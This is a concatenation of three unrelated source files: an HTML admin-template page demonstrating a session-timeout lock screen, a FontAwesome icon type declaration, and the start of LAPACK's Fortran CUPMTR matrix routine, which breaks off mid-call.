href="#"><span class="octicon octicon-flame"></span></a></li> <li><a href="builder-page.html"><span class="octicon octicon-rocket"></span></a></li> </ul> </div> </div> <div class="header-right"> <ul class="header-menu nav navbar-nav"> <!-- BEGIN USER DROPDOWN --> <li class="dropdown" id="language-header"> <a href="#" data-toggle="dropdown" data-hover="dropdown" data-close-others="true"> <i class="icon-globe"></i> <span>Language</span> </a> <ul class="dropdown-menu"> <li> <a href="#" data-lang="en"><img src="../assets/global/images/flags/usa.png" alt="flag-english"> <span>English</span></a> </li> <li> <a href="#" data-lang="es"><img src="../assets/global/images/flags/spanish.png" alt="flag-english"> <span>Español</span></a> </li> <li> <a href="#" data-lang="fr"><img src="../assets/global/images/flags/french.png" alt="flag-english"> <span>Français</span></a> </li> </ul> </li> <!-- END USER DROPDOWN --> <!-- BEGIN NOTIFICATION DROPDOWN --> <li class="dropdown" id="notifications-header"> <a href="#" data-toggle="dropdown" data-hover="dropdown" data-close-others="true"> <i class="icon-bell"></i> <span class="badge badge-danger badge-header">6</span> </a> <ul class="dropdown-menu"> <li class="dropdown-header clearfix"> <p class="pull-left">12 Pending Notifications</p> </li> <li> <ul class="dropdown-menu-list withScroll" data-height="220"> <li> <a href="#"> <i class="fa fa-star p-r-10 f-18 c-orange"></i> Steve have rated your photo <span class="dropdown-time">Just now</span> </a> </li> <li> <a href="#"> <i class="fa fa-heart p-r-10 f-18 c-red"></i> John added you to his favs <span class="dropdown-time">15 mins</span> </a> </li> <li> <a href="#"> <i class="fa fa-file-text p-r-10 f-18"></i> New document available <span class="dropdown-time">22 mins</span> </a> </li> <li> <a href="#"> <i class="fa fa-picture-o p-r-10 f-18 c-blue"></i> New picture added <span class="dropdown-time">40 mins</span> </a> </li> <li> <a href="#"> <i class="fa fa-bell p-r-10 f-18 c-orange"></i> Meeting in 1 hour <span class="dropdown-time">1 hour</span> </a> </li> <li> <a href="#"> <i class="fa fa-bell p-r-10 f-18"></i> Server 5 overloaded <span class="dropdown-time">2 hours</span> </a> </li> <li> <a href="#"> <i class="fa fa-comment p-r-10 f-18 c-gray"></i> Bill comment your post <span class="dropdown-time">3 hours</span> </a> </li> <li> <a href="#"> <i class="fa fa-picture-o p-r-10 f-18 c-blue"></i> New picture added <span class="dropdown-time">2 days</span> </a> </li> </ul> </li> <li class="dropdown-footer clearfix"> <a href="#" class="pull-left">See all notifications</a> <a href="#" class="pull-right"> <i class="icon-settings"></i> </a> </li> </ul> </li> <!-- END NOTIFICATION DROPDOWN --> <!-- BEGIN MESSAGES DROPDOWN --> <li class="dropdown" id="messages-header"> <a href="#" data-toggle="dropdown" data-hover="dropdown" data-close-others="true"> <i class="icon-paper-plane"></i> <span class="badge badge-primary badge-header"> 8 </span> </a> <ul class="dropdown-menu"> <li class="dropdown-header clearfix"> <p class="pull-left"> You have 8 Messages </p> </li> <li class="dropdown-body"> <ul class="dropdown-menu-list withScroll" data-height="220"> <li class="clearfix"> <span class="pull-left p-r-5"> <img src="../assets/global/images/avatars/avatar3.png" alt="avatar 3"> </span> <div class="clearfix"> <div> <strong>Alexa Johnson</strong> <small class="pull-right text-muted"> <span class="glyphicon glyphicon-time p-r-5"></span>12 mins ago </small> </div> <p>Lorem ipsum dolor sit amet, consectetur...</p> </div> </li> <li class="clearfix"> <span class="pull-left p-r-5"> <img src="../assets/global/images/avatars/avatar4.png" alt="avatar 4"> </span> <div class="clearfix"> <div> <strong>John Smith</strong> <small class="pull-right text-muted"> <span class="glyphicon glyphicon-time p-r-5"></span>47 mins ago </small> </div> <p>Lorem ipsum dolor sit amet, consectetur...</p> </div> </li> <li class="clearfix"> <span class="pull-left p-r-5"> <img src="../assets/global/images/avatars/avatar5.png" alt="avatar 5"> </span> <div class="clearfix"> <div> <strong>Bobby Brown</strong> <small class="pull-right text-muted"> <span class="glyphicon glyphicon-time p-r-5"></span>1 hour ago </small> </div> <p>Lorem ipsum dolor sit amet, consectetur...</p> </div> </li> <li class="clearfix"> <span class="pull-left p-r-5"> <img src="../assets/global/images/avatars/avatar6.png" alt="avatar 6"> </span> <div class="clearfix"> <div> <strong>James Miller</strong> <small class="pull-right text-muted"> <span class="glyphicon glyphicon-time p-r-5"></span>2 days ago </small> </div> <p>Lorem ipsum dolor sit amet, consectetur...</p> </div> </li> </ul> </li> <li class="dropdown-footer clearfix"> <a href="mailbox.html" class="pull-left">See all messages</a> <a href="#" class="pull-right"> <i class="icon-settings"></i> </a> </li> </ul> </li> <!-- END MESSAGES DROPDOWN --> <!-- BEGIN USER DROPDOWN --> <li class="dropdown" id="user-header"> <a href="#" data-toggle="dropdown" data-hover="dropdown" data-close-others="true"> <img src="../assets/global/images/avatars/user1.png" alt="user image"> <span class="username">Hi, John Doe</span> </a> <ul class="dropdown-menu"> <li> <a href="#"><i class="icon-user"></i><span>My Profile</span></a> </li> <li> <a href="#"><i class="icon-calendar"></i><span>My Calendar</span></a> </li> <li> <a href="#"><i class="icon-settings"></i><span>Account Settings</span></a> </li> <li> <a href="#"><i class="icon-logout"></i><span>Logout</span></a> </li> </ul> </li> <!-- END USER DROPDOWN --> <!-- CHAT BAR ICON --> <li id="quickview-toggle"><a href="#"><i class="icon-bubbles"></i></a></li> </ul> </div> <!-- header-right --> </div> <!-- END TOPBAR --> <!-- BEGIN PAGE CONTENT --> <div class="page-content"> <div class="header"> <h2><i class="icon-home"></i> Session <strong>Timeout</strong></h2> <div class="breadcrumb-wrapper"> <ol class="breadcrumb"> <li><a href="dashboard.html">Make</a> </li> <li><a href="#">User</a> </li> <li class="active">Session Timeout</li> </ol> </div> </div> <div class="row"> <div class="col-lg-12 portlets"> <div class="panel"> <div class="panel-header panel-controls"> <h3>Session <strong>Timeout</strong></h3> <p>Screen will be locked after a moment that you can define.</p> </div> <div class="panel-content"> <p class=" alert alert-info"> After 5 seconds of inactivity (don't move the mouse), you will see a expiring warning dialog. The user can choose to stay connected or log out. If there is no action during 30 seconds, the user is automatically logged out and redirected to the lockscreen panel.<br><br> You can easily modify the duration before the dialog is shown in the session_timeout.js file. </p> </div> </div> </div> </div> <div class="footer"> <div class="copyright"> <p class="pull-left sm-pull-reset"> <span>Copyright <span class="copyright">©</span> 2015 </span> <span>THEMES LAB</span>. <span>All rights reserved. </span> </p> <p class="pull-right sm-pull-reset"> <span><a href="#" class="m-r-10">Support</a> | <a href="#" class="m-l-10 m-r-10">Terms of use</a> | <a href="#" class="m-l-10">Privacy Policy</a></span> </p> </div> </div> </div> <!-- END PAGE CONTENT --> </div> <!-- END MAIN CONTENT --> <!-- BEGIN BUILDER --> <div class="builder hidden-sm hidden-xs" id="builder"> <a class="builder-toggle"><i class="icon-wrench"></i></a> <div class="inner"> <div class="builder-container"> <a href="#" class="btn btn-sm btn-default" id="reset-style">reset default style</a> <h4>Layout options</h4> <div class="layout-option"> <span> Fixed Sidebar</span> <label class="switch pull-right"> <input data-layout="sidebar" id="switch-sidebar" type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="layout-option"> <span> Sidebar on Hover</span> <label class="switch pull-right"> <input data-layout="sidebar-hover" id="switch-sidebar-hover" type="checkbox" class="switch-input"> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="layout-option"> <span> Submenu on Hover</span> <label class="switch pull-right"> <input data-layout="submenu-hover" id="switch-submenu-hover" type="checkbox" class="switch-input"> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="layout-option"> <span>Fixed Topbar</span> <label class="switch pull-right"> <input data-layout="topbar" id="switch-topbar" type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="layout-option"> <span>Boxed Layout</span> <label class="switch pull-right"> <input data-layout="boxed" id="switch-boxed" type="checkbox" class="switch-input"> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <h4 class="border-top">Color</h4> <div class="row"> <div class="col-xs-12"> <div class="theme-color bg-dark" data-main="default" data-color="#2B2E33"></div> <div class="theme-color background-primary" data-main="primary" data-color="#319DB5"></div> <div class="theme-color bg-red" data-main="red" data-color="#C75757"></div> <div class="theme-color bg-green" data-main="green" data-color="#1DA079"></div> <div class="theme-color bg-orange" data-main="orange" data-color="#D28857"></div> <div class="theme-color bg-purple" data-main="purple" data-color="#B179D7"></div> <div class="theme-color bg-blue" data-main="blue" data-color="#4A89DC"></div> </div> </div> <h4 class="border-top">Theme</h4> <div class="row row-sm"> <div class="col-xs-6"> <div class="theme clearfix sdtl" data-theme="sdtl"> <div class="header theme-left"></div> <div class="header theme-right-light"></div> <div class="theme-sidebar-dark"></div> <div class="bg-light"></div> </div> </div> <div class="col-xs-6"> <div class="theme clearfix sltd" data-theme="sltd"> <div class="header theme-left"></div> <div class="header theme-right-dark"></div> <div class="theme-sidebar-light"></div> <div class="bg-light"></div> </div> </div> <div class="col-xs-6"> <div class="theme clearfix sdtd" data-theme="sdtd"> <div class="header theme-left"></div> <div class="header theme-right-dark"></div> <div class="theme-sidebar-dark"></div> <div class="bg-light"></div> </div> </div> <div class="col-xs-6"> <div class="theme clearfix sltl" data-theme="sltl"> <div class="header theme-left"></div> <div class="header theme-right-light"></div> <div class="theme-sidebar-light"></div> <div class="bg-light"></div> </div> </div> </div> <h4 class="border-top">Background</h4> <div class="row"> <div class="col-xs-12"> <div class="bg-color bg-clean" data-bg="clean" data-color="#F8F8F8"></div> <div class="bg-color bg-lighter" data-bg="lighter" data-color="#EFEFEF"></div> <div class="bg-color bg-light-default" data-bg="light-default" data-color="#E9E9E9"></div> <div class="bg-color bg-light-blue" data-bg="light-blue" data-color="#E2EBEF"></div> <div class="bg-color bg-light-purple" data-bg="light-purple" data-color="#E9ECF5"></div> <div class="bg-color bg-light-dark" data-bg="light-dark" data-color="#DCE1E4"></div> </div> </div> </div> </div> </div> <!-- END BUILDER --> </section> <!-- BEGIN QUICKVIEW SIDEBAR --> <div id="quickview-sidebar"> <div class="quickview-header"> <ul class="nav nav-tabs"> <li class="active"><a href="#chat" data-toggle="tab">Chat</a></li> <li><a href="#notes" data-toggle="tab">Notes</a></li> <li><a href="#settings" data-toggle="tab" class="settings-tab">Settings</a></li> </ul> </div> <div class="quickview"> <div class="tab-content"> <div class="tab-pane fade active in" id="chat"> <div class="chat-body current"> <div class="chat-search"> <form class="form-inverse" action="#" role="search"> <div class="append-icon"> <input type="text" class="form-control" placeholder="Search contact..."> <i class="icon-magnifier"></i> </div> </form> </div> <div class="chat-groups"> <div class="title">GROUP CHATS</div> <ul> <li><i class="turquoise"></i> Favorites</li> <li><i class="turquoise"></i> Office Work</li> <li><i class="turquoise"></i> Friends</li> </ul> </div> <div class="chat-list"> <div class="title">FAVORITES</div> <ul> <li class="clearfix"> <div class="user-img"> <img src="../assets/global/images/avatars/avatar13.png" alt="avatar" /> </div> <div class="user-details"> <div class="user-name">Bobby Brown</div> <div class="user-txt">On the road again...</div> </div> <div class="user-status"> <i class="online"></i> </div> </li> <li class="clearfix"> <div class="user-img"> <img src="../assets/global/images/avatars/avatar5.png" alt="avatar" /> <div class="pull-right badge badge-danger">3</div> </div> <div class="user-details"> <div class="user-name">Alexa Johnson</div> <div class="user-txt">Still at the beach</div> </div> <div class="user-status"> <i class="away"></i> </div> </li> <li class="clearfix"> <div class="user-img"> <img src="../assets/global/images/avatars/avatar10.png" alt="avatar" /> </div> <div class="user-details"> <div class="user-name">Bobby Brown</div> <div class="user-txt">On stage...</div> </div> <div class="user-status"> <i class="busy"></i> </div> </li> </ul> </div> <div class="chat-list"> <div class="title">FRIENDS</div> <ul> <li class="clearfix"> <div class="user-img"> <img src="../assets/global/images/avatars/avatar7.png" alt="avatar" /> <div class="pull-right badge badge-danger">3</div> </div> <div class="user-details"> <div class="user-name">James Miller</div> <div class="user-txt">At work...</div> </div> <div class="user-status"> <i class="online"></i> </div> </li> <li class="clearfix"> <div class="user-img"> <img src="../assets/global/images/avatars/avatar11.png" alt="avatar" /> </div> <div class="user-details"> <div class="user-name">Fred Smith</div> <div class="user-txt">Waiting for tonight</div> </div> <div class="user-status"> <i class="offline"></i> </div> </li> <li class="clearfix"> <div class="user-img"> <img src="../assets/global/images/avatars/avatar8.png" alt="avatar" /> </div> <div class="user-details"> <div class="user-name">Ben Addams</div> <div class="user-txt">On my way to NYC</div> </div> <div class="user-status"> <i class="offline"></i> </div> </li> </ul> </div> </div> <div class="chat-conversation"> <div class="conversation-header"> <div class="user clearfix"> <div class="chat-back"> <i class="icon-action-undo"></i> </div> <div class="user-details"> <div class="user-name">James Miller</div> <div class="user-txt">On the road again...</div> </div> </div> </div> <div class="conversation-body"> <ul> <li class="img"> <div class="chat-detail"> <span class="chat-date">today, 10:38pm</span> <div class="conversation-img"> <img src="../assets/global/images/avatars/avatar4.png" alt="avatar 4"/> </div> <div class="chat-bubble"> <span>Hi you!</span> </div> </div> </li> <li class="img"> <div class="chat-detail"> <span class="chat-date">today, 10:45pm</span> <div class="conversation-img"> <img src="../assets/global/images/avatars/avatar4.png" alt="avatar 4"/> </div> <div class="chat-bubble"> <span>Are you there?</span> </div> </div> </li> <li class="img"> <div class="chat-detail"> <span class="chat-date">today, 10:51pm</span> <div class="conversation-img"> <img src="../assets/global/images/avatars/avatar4.png" alt="avatar 4"/> </div> <div class="chat-bubble"> <span>Send me a message when you come back.</span> </div> </div> </li> </ul> </div> <div class="conversation-message"> <input type="text" placeholder="Your message..." class="form-control form-white send-message" /> <div class="item-footer clearfix"> <div class="footer-actions"> <i class="icon-rounded-marker"></i> <i class="icon-rounded-camera"></i> <i class="icon-rounded-paperclip-oblique"></i> <i class="icon-rounded-alarm-clock"></i> </div> </div> </div> </div> </div> <div class="tab-pane fade" id="notes"> <div class="list-notes current withScroll"> <div class="notes "> <div class="row"> <div class="col-md-12"> <div id="add-note"> <i class="fa fa-plus"></i>ADD A NEW NOTE </div> </div> </div> <div id="notes-list"> <div class="note-item media current fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Reset my account password</p> </div> <p class="note-desc hidden">Break security reasons.</p> <p><small>Tuesday 6 May, 3:52 pm</small></p> </div> </div> <div class="note-item media fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Call John</p> </div> <p class="note-desc hidden">He have my laptop!</p> <p><small>Thursday 8 May, 2:28 pm</small></p> </div> </div> <div class="note-item media fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Buy a car</p> </div> <p class="note-desc hidden">I'm done with the bus</p> <p><small>Monday 12 May, 3:43 am</small></p> </div> </div> <div class="note-item media fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Don't forget my notes</p> </div> <p class="note-desc hidden">I have to read them...</p> <p><small>Wednesday 5 May, 6:15 pm</small></p> </div> </div> <div class="note-item media current fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Reset my account password</p> </div> <p class="note-desc hidden">Break security reasons.</p> <p><small>Tuesday 6 May, 3:52 pm</small></p> </div> </div> <div class="note-item media fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Call John</p> </div> <p class="note-desc hidden">He have my laptop!</p> <p><small>Thursday 8 May, 2:28 pm</small></p> </div> </div> <div class="note-item media fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Buy a car</p> </div> <p class="note-desc hidden">I'm done with the bus</p> <p><small>Monday 12 May, 3:43 am</small></p> </div> </div> <div class="note-item media fade in"> <button class="close">×</button> <div> <div> <p class="note-name">Don't forget my notes</p> </div> <p class="note-desc hidden">I have to read them...</p> <p><small>Wednesday 5 May, 6:15 pm</small></p> </div> </div> </div> </div> </div> <div class="detail-note note-hidden-sm"> <div class="note-header clearfix"> <div class="note-back"> <i class="icon-action-undo"></i> </div> <div class="note-edit">Edit Note</div> <div class="note-subtitle">title on first line</div> </div> <div id="note-detail"> <div class="note-write"> <textarea class="form-control" placeholder="Type your note here"></textarea> </div> </div> </div> </div> <div class="tab-pane fade" id="settings"> <div class="settings"> <div class="title">ACCOUNT SETTINGS</div> <div class="setting"> <span> Show Personal Statut</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> <p class="setting-info">Lorem ipsum dolor sit amet consectetuer.</p> </div> <div class="setting"> <span> Show my Picture</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> <p class="setting-info">Lorem ipsum dolor sit amet consectetuer.</p> </div> <div class="setting"> <span> Show my Location</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input"> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> <p class="setting-info">Lorem ipsum dolor sit amet consectetuer.</p> </div> <div class="title">CHAT</div> <div class="setting"> <span> Show User Image</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="setting"> <span> Show Fullname</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="setting"> <span> Show Location</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input"> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="setting"> <span> Show Unread Count</span> <label class="switch pull-right"> <input type="checkbox" class="switch-input" checked> <span class="switch-label" data-on="On" data-off="Off"></span> <span class="switch-handle"></span> </label> </div> <div class="title">STATISTICS</div> <div class="settings-chart"> <div class="clearfix"> <div class="chart-title">Stat 1</div> <div class="chart-number">82%</div> </div> <div class="progress"> <div class="progress-bar progress-bar-primary setting1" data-transitiongoal="82"></div> </div> </div> <div class="settings-chart"> <div class="clearfix"> <div class="chart-title">Stat 2</div> <div class="chart-number">43%</div> </div> <div class="progress"> <div class="progress-bar progress-bar-primary setting2" data-transitiongoal="43"></div> </div> </div> <div class="m-t-30" style="width:100%"> <canvas id="setting-chart" height="300"></canvas> </div> </div> </div> </div> </div> </div> <!-- END QUICKVIEW SIDEBAR --> <!-- BEGIN SEARCH --> <div id="morphsearch" class="morphsearch"> <form class="morphsearch-form"> <input class="morphsearch-input" type="search" placeholder="Search..."/> <button class="morphsearch-submit" type="submit">Search</button> </form> <div class="morphsearch-content withScroll"> <div class="dummy-column user-column"> <h2>Users</h2> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/avatars/avatar1_big.png" alt="Avatar 1"/> <h3>John Smith</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/avatars/avatar2_big.png" alt="Avatar 2"/> <h3>Bod Dylan</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/avatars/avatar3_big.png" alt="Avatar 3"/> <h3>Jenny Finlan</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/avatars/avatar4_big.png" alt="Avatar 4"/> <h3>Harold Fox</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/avatars/avatar5_big.png" alt="Avatar 5"/> <h3>Martin Hendrix</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/avatars/avatar6_big.png" alt="Avatar 6"/> <h3>Paul Ferguson</h3> </a> </div> <div class="dummy-column"> <h2>Articles</h2> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/1.jpg" alt="1"/> <h3>How to change webdesign?</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/2.jpg" alt="2"/> <h3>News From the sky</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/3.jpg" alt="3"/> <h3>Where is the cat?</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/4.jpg" alt="4"/> <h3>Just another funny story</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/5.jpg" alt="5"/> <h3>How many water we drink every day?</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/6.jpg" alt="6"/> <h3>Drag and drop tutorials</h3> </a> </div> <div class="dummy-column"> <h2>Recent</h2> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/7.jpg" alt="7"/> <h3>Design Inspiration</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/8.jpg" alt="8"/> <h3>Animals drawing</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/9.jpg" alt="9"/> <h3>Cup of tea please</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/10.jpg" alt="10"/> <h3>New application arrive</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/11.jpg" alt="11"/> <h3>Notification prettify</h3> </a> <a class="dummy-media-object" href="#"> <img src="../assets/global/images/gallery/12.jpg" alt="12"/> <h3>My article is the last recent</h3> </a> </div> </div> <!-- /morphsearch-content --> <span class="morphsearch-close"></span> </div> <!-- END SEARCH --> <!-- BEGIN PRELOADER --> <div class="loader-overlay"> <div class="spinner"> <div class="bounce1"></div> <div class="bounce2"></div> <div class="bounce3"></div> </div> </div> <!-- END PRELOADER --> <a href="#" class="scrollup"><i class="fa fa-angle-up"></i></a> <script src="../assets/global/plugins/jquery/jquery-1.11.1.min.js"></script> <script src="../assets/global/plugins/jquery/jquery-migrate-1.2.1.min.js"></script> <script src="../assets/global/plugins/jquery-ui/jquery-ui-1.11.2.min.js"></script> <script src="../assets/global/plugins/gsap/main-gsap.min.js"></script> <script src="../assets/global/plugins/bootstrap/js/bootstrap.min.js"></script> <script src="../assets/global/plugins/jquery-cookies/jquery.cookies.min.js"></script> <!-- Jquery Cookies, for theme --> <script src="../assets/global/plugins/jquery-block-ui/jquery.blockUI.min.js"></script> <!-- simulate synchronous behavior when using AJAX --> <script src="../assets/global/plugins/bootbox/bootbox.min.js"></script> <!-- Modal with Validation --> <script src="../assets/global/plugins/mcustom-scrollbar/jquery.mCustomScrollbar.concat.min.js"></script> <!-- Custom Scrollbar sidebar --> <script src="../assets/global/plugins/bootstrap-dropdown/bootstrap-hover-dropdown.min.js"></script> <!-- Show Dropdown on Mouseover --> <script src="../assets/global/plugins/charts-sparkline/sparkline.min.js"></script> <!-- Charts Sparkline --> <script src="../assets/global/plugins/retina/retina.min.js"></script> <!-- Retina Display --> <script src="../assets/global/plugins/select2/select2.min.js"></script> <!-- Select Inputs --> <script src="../assets/global/plugins/icheck/icheck.min.js"></script> <!-- Checkbox & Radio Inputs --> <script src="../assets/global/plugins/backstretch/backstretch.min.js"></script> <!-- Background Image --> <script src="../assets/global/plugins/bootstrap-progressbar/bootstrap-progressbar.min.js"></script> <!-- Animated Progress Bar --> <script src="../assets/global/plugins/charts-chartjs/Chart.min.js"></script> <script src="../assets/global/js/builder.js"></script> <!-- Theme Builder --> <script src="../assets/global/js/sidebar_hover.js"></script> <!-- Sidebar on Hover --> <script src="../assets/global/js/application.js"></script> <!-- Main Application Script --> <script src="../assets/global/js/plugins.js"></script> <!-- Main Plugin Initialization Script --> <script src="../assets/global/js/widgets/notes.js"></script> <!-- Notes Widget --> <script src="../assets/global/js/quickview.js"></script> <!-- Chat Script --> <script src="../assets/global/js/pages/search.js"></script> <!-- Search Script --> <!-- BEGIN PAGE SCRIPT --> <script src="../assets/global/plugins/idle-timeout/jquery.idletimer.min.js"></script> <!-- Logout User After Delay --> <script src="../assets/global/plugins/idle-timeout/jquery.idletimeout.min.js"></script> <!-- Logout User After Delay --> <script src="../assets/global/js/pages/session_timeout.js"></script> <!-- END PAGE SCRIPTS --> <script src="../assets/admin/layout1/js/layout.js"></script> </body> </html>
{ "pile_set_name": "Github" }
import { IconDefinition, IconPrefix, IconName } from "@fortawesome/fontawesome-common-types"; export const definition: IconDefinition; export const faMicrophoneAltSlash: IconDefinition; export const prefix: IconPrefix; export const iconName: IconName; export const width: number; export const height: number; export const ligatures: string[]; export const unicode: string; export const svgPathData: string;
{ "pile_set_name": "Github" }
SUBROUTINE CUPMTR( SIDE, UPLO, TRANS, M, N, AP, TAU, C, LDC, WORK, $ INFO ) * * -- LAPACK routine (version 3.0) -- * Univ. of Tennessee, Univ. of California Berkeley, NAG Ltd., * Courant Institute, Argonne National Lab, and Rice University * September 30, 1994 * * .. Scalar Arguments .. CHARACTER SIDE, TRANS, UPLO INTEGER INFO, LDC, M, N * .. * .. Array Arguments .. COMPLEX AP( * ), C( LDC, * ), TAU( * ), WORK( * ) * .. * * Purpose * ======= * * CUPMTR overwrites the general complex M-by-N matrix C with * * SIDE = 'L' SIDE = 'R' * TRANS = 'N': Q * C C * Q * TRANS = 'C': Q**H * C C * Q**H * * where Q is a complex unitary matrix of order nq, with nq = m if * SIDE = 'L' and nq = n if SIDE = 'R'. Q is defined as the product of * nq-1 elementary reflectors, as returned by CHPTRD using packed * storage: * * if UPLO = 'U', Q = H(nq-1) . . . H(2) H(1); * * if UPLO = 'L', Q = H(1) H(2) . . . H(nq-1). * * Arguments * ========= * * SIDE (input) CHARACTER*1 * = 'L': apply Q or Q**H from the Left; * = 'R': apply Q or Q**H from the Right. * * UPLO (input) CHARACTER*1 * = 'U': Upper triangular packed storage used in previous * call to CHPTRD; * = 'L': Lower triangular packed storage used in previous * call to CHPTRD. * * TRANS (input) CHARACTER*1 * = 'N': No transpose, apply Q; * = 'C': Conjugate transpose, apply Q**H. * * M (input) INTEGER * The number of rows of the matrix C. M >= 0. * * N (input) INTEGER * The number of columns of the matrix C. N >= 0. * * AP (input) COMPLEX array, dimension * (M*(M+1)/2) if SIDE = 'L' * (N*(N+1)/2) if SIDE = 'R' * The vectors which define the elementary reflectors, as * returned by CHPTRD. AP is modified by the routine but * restored on exit. * * TAU (input) COMPLEX array, dimension (M-1) if SIDE = 'L' * or (N-1) if SIDE = 'R' * TAU(i) must contain the scalar factor of the elementary * reflector H(i), as returned by CHPTRD. * * C (input/output) COMPLEX array, dimension (LDC,N) * On entry, the M-by-N matrix C. * On exit, C is overwritten by Q*C or Q**H*C or C*Q**H or C*Q. * * LDC (input) INTEGER * The leading dimension of the array C. LDC >= max(1,M). * * WORK (workspace) COMPLEX array, dimension * (N) if SIDE = 'L' * (M) if SIDE = 'R' * * INFO (output) INTEGER * = 0: successful exit * < 0: if INFO = -i, the i-th argument had an illegal value * * ===================================================================== * * .. Parameters .. COMPLEX ONE PARAMETER ( ONE = ( 1.0E+0, 0.0E+0 ) ) * .. * .. Local Scalars .. LOGICAL FORWRD, LEFT, NOTRAN, UPPER INTEGER I, I1, I2, I3, IC, II, JC, MI, NI, NQ COMPLEX AII, TAUI * .. * .. External Functions .. LOGICAL LSAME EXTERNAL LSAME * .. * .. External Subroutines .. EXTERNAL CLARF, XERBLA * .. * .. Intrinsic Functions .. INTRINSIC CONJG, MAX * .. * .. Executable Statements .. * * Test the input arguments * INFO = 0 LEFT = LSAME( SIDE, 'L' ) NOTRAN = LSAME( TRANS, 'N' ) UPPER = LSAME( UPLO, 'U' ) * * NQ is the order of Q * IF( LEFT ) THEN NQ = M ELSE NQ = N END IF IF( .NOT.LEFT .AND. .NOT.LSAME( SIDE, 'R' ) ) THEN INFO = -1 ELSE IF( .NOT.UPPER .AND. .NOT.LSAME( UPLO, 'L' ) ) THEN INFO = -2 ELSE IF( .NOT.NOTRAN .AND. .NOT.LSAME( TRANS, 'C' ) ) THEN INFO = -3 ELSE IF( M.LT.0 ) THEN INFO = -4 ELSE IF( N.LT.0 ) THEN INFO = -5 ELSE IF( LDC.LT.MAX( 1, M ) ) THEN INFO = -9 END IF IF( INFO.NE.0 ) THEN CALL XERBLA( 'CUPMTR', -INFO ) RETURN END IF * * Quick return if possible * IF( M.EQ.0 .OR. N.EQ.0 ) $ RETURN * IF( UPPER ) THEN * * Q was determined by a call to CHPTRD with UPLO = 'U' * FORWRD = ( LEFT .AND. NOTRAN ) .OR. $ ( .NOT.LEFT .AND. .NOT.NOTRAN ) * IF( FORWRD ) THEN I1 = 1 I2 = NQ - 1 I3 = 1 II = 2 ELSE I1 = NQ - 1 I2 = 1 I3 = -1 II = NQ*( NQ+1 ) / 2 - 1 END IF * IF( LEFT ) THEN NI = N ELSE MI = M END IF * DO 10 I = I1, I2, I3 IF( LEFT ) THEN * * H(i) or H(i)' is applied to C(1:i,1:n) * MI = I ELSE * * H(i) or H(i)' is applied to C(1:m,1:i) * NI = I END IF * * Apply H(i) or H(i)' * IF( NOTRAN ) THEN TAUI = TAU( I ) ELSE TAUI = CONJG( TAU( I ) ) END IF AII = AP( II ) AP( II ) = ONE CALL CLARF( SIDE, MI, NI, AP( II-I+1 ), 1, TAUI, C, LDC, $ WORK ) AP( II ) = AII * IF( FORWRD ) THEN II = II + I + 2 ELSE II = II - I - 1 END IF 10 CONTINUE ELSE * * Q was determined by a call to CHPTRD with UPLO = 'L'. * FORWRD = ( LEFT .AND. .NOT.NOTRAN ) .OR. $ ( .NOT.LEFT .AND. NOTRAN ) * IF( FORWRD ) THEN I1 = 1 I2 = NQ - 1 I3 = 1 II = 2 ELSE I1 = NQ - 1 I2 = 1 I3 = -1 II = NQ*( NQ+1 ) / 2 - 1 END IF * IF( LEFT ) THEN NI = N JC = 1 ELSE MI = M IC = 1 END IF * DO 20 I = I1, I2, I3 AII = AP( II ) AP( II ) = ONE IF( LEFT ) THEN * * H(i) or H(i)' is applied to C(i+1:m,1:n) * MI = M - I IC = I + 1 ELSE * * H(i) or H(i)' is applied to C(1:m,i+1:n) * NI = N - I JC = I + 1 END IF * * Apply H(i) or H(i)' * IF( NOTRAN ) THEN TAUI = TAU( I ) ELSE TAUI = CONJG( TAU( I ) ) END IF CALL CLARF( SIDE, MI, NI, AP( II ), 